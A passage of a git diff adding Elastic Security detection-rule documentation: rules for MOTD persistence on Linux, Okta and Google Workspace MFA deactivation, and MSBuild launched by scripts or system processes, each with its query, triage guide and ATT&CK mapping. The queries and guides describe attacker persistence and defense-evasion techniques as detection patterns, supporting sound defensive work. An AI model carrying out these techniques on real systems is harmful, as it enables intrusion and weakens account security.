information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*Related Rules* + + +- Process Spawned from Message-of-the-Day (MOTD) - 4ec47004-b34a-42e6-8003-376a123ea447 + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the MOTD files or restore their original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.path like "/etc/update-motd.d/*" and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/usr/bin/buildah", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/.envbuilder/bin/envbuilder", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "./usr/bin/podman", "/opt/saltstack/salt/bin/python3.10", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/crio" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + process.executable == null or + process.name in ("executor", "dockerd", "crio") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc new file mode 100644 index 0000000000..29d6a04ed7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-mfa-deactivation-with-no-re-activation-for-okta-user-account]] +=== MFA Deactivation with no Re-Activation for Okta User Account + +Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. + +*Rule type*: eql + +*Rule indices*: + +* logs-okta.system* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 6h + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Domain: Cloud +* Resources: Investigation Guide + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MFA Deactivation with no Re-Activation for Okta User Account* + + +MFA is used to provide an additional layer of security for user accounts. An adversary may achieve MFA deactivation for an Okta user account to achieve persistence. + +This rule fires when an Okta user account has MFA deactivated and no subsequent MFA reactivation is observed within 12 hours. + + +*Possible investigation steps:* + + +- Identify the entity related to the alert by reviewing `okta.target.alternate_id`, `okta.target.id` or `user.target.full_name` fields. This should give the username of the account being targeted. Verify if MFA is deactivated for the target entity. +- Using the `okta.target.alternate_id` field, search for MFA re-activation events where `okta.event_type` is `user.mfa.factor.activate`. Note if MFA re-activation attempts were made against the target. +- Identify the actor performing the deactivation by reviewing `okta.actor.alternate_id`, `okta.actor.id` or `user.full_name` fields. This should give the username of the account performing the action. Determine if deactivation was performed by a separate user. +- Review events where `okta.event_type` is `user.authenticate*` to determine if the actor or target accounts had suspicious login activity. + - Geolocation details found in `client.geo*` related fields may be useful in determining if the login activity was suspicious for this user. +- Examine related administrative activity by the actor for privilege misuse or suspicious changes. + + +*False positive steps:* + + +- Determine with the target user if MFA deactivation was expected. +- Determine if MFA is required for the target user account. + + +*Response and remediation:* + + +- If the MFA deactivation was not expected, consider deactivating the user + - This should be followed by resetting the user's password and re-enabling MFA. +- If the MFA deactivation was expected, consider adding an exception to this rule to filter false positives. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data, applications or systems. +- Review the client user-agent to determine if it's a known custom application that can be whitelisted. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.target.id with maxspan=12h + [any where event.dataset == "okta.system" and okta.event_type in ("user.mfa.factor.deactivate", "user.mfa.factor.reset_all") + and okta.outcome.reason != "User reset SECURITY_QUESTION factor" and okta.outcome.result == "SUCCESS"] + ![any where event.dataset == "okta.system" and okta.event_type == "user.mfa.factor.activate"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-disabled-for-google-workspace-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-disabled-for-google-workspace-organization.asciidoc new file mode 100644 index 0000000000..d75352c536 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mfa-disabled-for-google-workspace-organization.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-mfa-disabled-for-google-workspace-organization]] +=== MFA Disabled for Google Workspace Organization + +Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MFA Disabled for Google Workspace Organization* + + +Multi-factor authentication (MFA) is a process in which users are prompted for an additional form of identification, such as a code on their cell phone or a fingerprint scan, during the sign-in process. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the users's password is weak or has been exposed elsewhere, an attacker could use it to gain access. Requiring a second form of authentication increases security because attackers cannot easily obtain or duplicate the additional authentication factor. + +For more information about using MFA in Google Workspace, access the https://support.google.com/a/answer/175197[official documentation]. + +This rule identifies when MFA enforcement is turned off in Google Workspace. This modification weakens account security and can lead to accounts and other assets being compromised. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate the multi-factor authentication enforcement. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-an-unusual-process.asciidoc new file mode 100644 index 0000000000..937af5a45c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-an-unusual-process.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-microsoft-build-engine-started-an-unusual-process]] +=== Microsoft Build Engine Started an Unusual Process + +An instance of MSBuild, the Microsoft Build Engine, started a PowerShell script or the Visual C# Command Line Compiler. This technique is sometimes used to deploy a malicious payload using the Build Engine. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started an Unusual Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, often used in software development environments. Adversaries may exploit MSBuild to execute malicious scripts or compile code, bypassing security controls. The detection rule identifies unusual processes initiated by MSBuild, such as PowerShell or C# compiler, signaling potential misuse for executing unauthorized or harmful actions. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on MSBuild.exe or msbuild.exe as the parent process and any unusual child processes like csc.exe, iexplore.exe, or powershell.exe. +- Examine the command line arguments used by the unusual process to identify any suspicious or malicious scripts or commands being executed. +- Check the user account associated with the process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the source and integrity of the MSBuild project file (.proj or .sln) to ensure it hasn't been tampered with or used to execute unauthorized code. +- Analyze recent changes or deployments in the environment that might explain the unusual process execution, such as new software installations or updates. +- Correlate this event with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack. + + +*False positive analysis* + + +- Development environments often use MSBuild to execute legitimate PowerShell scripts or compile C# code. Regularly review and whitelist known development processes to prevent unnecessary alerts. +- Automated build systems may trigger this rule when running scripts or compiling code as part of their normal operation. Identify and exclude these systems by their hostnames or IP addresses. +- Some software installations or updates might use MSBuild to execute scripts. Monitor and document these activities, and create exceptions for recognized software vendors. +- Internal tools or scripts that rely on MSBuild for execution should be cataloged. Establish a baseline of expected behavior and exclude these from triggering alerts. +- Collaborate with development teams to understand their use of MSBuild and adjust the detection rule to accommodate their workflows without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious processes and lateral movement. +- Terminate any suspicious processes initiated by MSBuild, such as PowerShell or the C# compiler, to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious files, focusing on scripts or executables that may have been deployed. +- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised. +- Escalate the incident to the security operations team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and logging for MSBuild and related processes to detect any future misuse or anomalies promptly. +- Review and update endpoint protection configurations to enhance detection and prevention capabilities against similar threats, ensuring that security controls are effectively blocking unauthorized script execution. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.parent.name:("MSBuild.exe" or "msbuild.exe") and +process.name:("csc.exe" or "iexplore.exe" or "powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-script-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-script-process.asciidoc new file mode 100644 index 0000000000..3508c04d76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-script-process.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-script-process]] +=== Microsoft Build Engine Started by a Script Process + +An instance of MSBuild, the Microsoft Build Engine, was started by a script or the Windows command interpreter. This behavior is unusual and is sometimes used by malicious payloads. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started by a Script Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, typically invoked by developers. However, adversaries exploit its ability to execute inline tasks, using it as a proxy for executing malicious code. The detection rule identifies unusual MSBuild invocations initiated by script interpreters, signaling potential misuse for stealthy execution or defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process names such as cmd.exe, powershell.exe, pwsh.exe, powershell_ise.exe, cscript.exe, wscript.exe, or mshta.exe, which initiated the msbuild.exe process. +- Examine the command line arguments used to start msbuild.exe to identify any suspicious or unusual inline tasks or scripts that may indicate malicious activity. +- Check the user account associated with the msbuild.exe process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the timing and frequency of the msbuild.exe execution to see if it coincides with known legitimate build activities or if it appears anomalous. +- Look for any related network activity or file modifications around the time of the msbuild.exe execution to identify potential data exfiltration or further malicious actions. +- Cross-reference the alert with other security events or logs to identify any correlated indicators of compromise or additional suspicious behavior. + + +*False positive analysis* + + +- Development environments where scripts are used to automate builds may trigger this rule. To manage this, identify and whitelist specific script processes or directories commonly used by developers. +- Automated testing frameworks that utilize scripts to initiate builds can cause false positives. Exclude these processes by creating exceptions for known testing tools and their associated scripts. +- Continuous integration/continuous deployment (CI/CD) pipelines often use scripts to invoke MSBuild. Consider excluding the parent processes associated with these pipelines from the rule. +- Administrative scripts that perform legitimate system maintenance tasks might start MSBuild. Review and exclude these scripts if they are verified as non-threatening. +- Custom scripts developed in-house for specific business functions may also trigger alerts. Conduct a review of these scripts and exclude them if they are deemed safe and necessary for operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the suspicious MSBuild process and any associated script interpreter processes (e.g., cmd.exe, powershell.exe) to stop the execution of potentially malicious code. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or artifacts. +- Review and analyze the parent script or command that initiated the MSBuild process to understand the scope and intent of the attack, and identify any additional compromised systems or accounts. +- Reset credentials for any user accounts that were active on the affected system during the time of the alert to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for MSBuild and script interpreter activities across the network to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and ( + process.name.caseless:"msbuild.exe" or process.pe.original_file_name:"MSBuild.exe") and + process.parent.name:("cmd.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "cscript.exe" or + "wscript.exe" or "mshta.exe") and + not process.executable : ( + "C:\\Program Files\\Microsoft Visual Studio\\2022\\Professional\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\MSBuild\\14.0\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files\\Microsoft Visual Studio\\2022\\Professional\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-system-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-system-process.asciidoc new file mode 100644 index 0000000000..3d561d6db4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-system-process.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-system-process]] +=== Microsoft Build Engine Started by a System Process + +An instance of MSBuild, the Microsoft Build Engine, was started by Explorer or the WMI (Windows Management Instrumentation) subsystem. This behavior is unusual and is sometimes used by malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started by a System Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, typically invoked by developers. However, adversaries exploit it to execute malicious code, leveraging its trusted status to bypass security measures. The detection rule identifies unusual MSBuild activity initiated by system processes like Explorer or WMI, which may indicate an attempt to evade defenses and execute unauthorized actions. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on instances where MSBuild.exe is started by explorer.exe or wmiprvse.exe. +- Check the command line arguments used to start MSBuild.exe for any suspicious or unusual parameters that could indicate malicious activity. +- Investigate the user account associated with the process to determine if it aligns with expected behavior or if it might be compromised. +- Examine recent file modifications or creations in directories commonly used by MSBuild to identify any unauthorized or unexpected files. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender for Endpoint or Sysmon to gather additional context on the activity. +- Assess the network activity of the host during the time of the alert to identify any potential data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger MSBuild.exe to start from Explorer or WMI. Monitor these events and verify if they coincide with known software changes. +- Development environments where MSBuild is frequently used might see this behavior as part of normal operations. Identify and document these environments to create exceptions for known development machines. +- Automated scripts or administrative tools that leverage MSBuild for legitimate tasks can cause false positives. Review and whitelist these scripts or tools if they are verified as 